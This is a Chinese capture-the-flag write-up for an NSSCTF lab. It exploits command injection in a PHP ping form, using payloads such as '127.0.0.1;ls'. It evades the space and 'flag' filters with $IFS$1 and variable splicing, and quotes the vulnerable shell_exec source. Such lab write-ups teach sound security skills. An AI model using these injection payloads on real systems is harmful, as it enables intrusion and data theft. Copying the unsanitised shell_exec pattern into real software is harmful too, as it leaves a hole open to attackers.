开启NSSCTF靶场,打开链接:
在输入框中输入whoami:
可以看到?ip=whoami,猜测是个exec "ping"类型的
输入127.0.0.1看看:
输入127.0.0.1;ls:
可以看到flag.php和index.php两个文件
输入127.0.0.1;cat flag.php:
回显提示不能有空格
换成127.0.0.1;cat%20flag.php试试:
或者127.0.0.1;cat$IFS$1flag.php($1改成$加其他数字都行,都能当作空格来用)
回显提示不能有flag字符串
那接下来就查看一下index.php源码:
127.0.0.1;cat$IFS$1index.php
(这里不知道为什么在输入框中输入127.0.0.1;cat%20index.php不成功)
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
print_r($match);
print($ip);
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
}
else if(preg_match("/ /", $ip)){
die("fxck your space!");
}
else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
}
else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
看到a变量,可以尝试将a变量覆盖,然后进行绕过
构造payload:
127.0.0.1;a=g;tac$IFS$1fla$a.php
得到flag:
NSSCTF{52078772-83f9-45a9-8cf4-c54aadd279a0}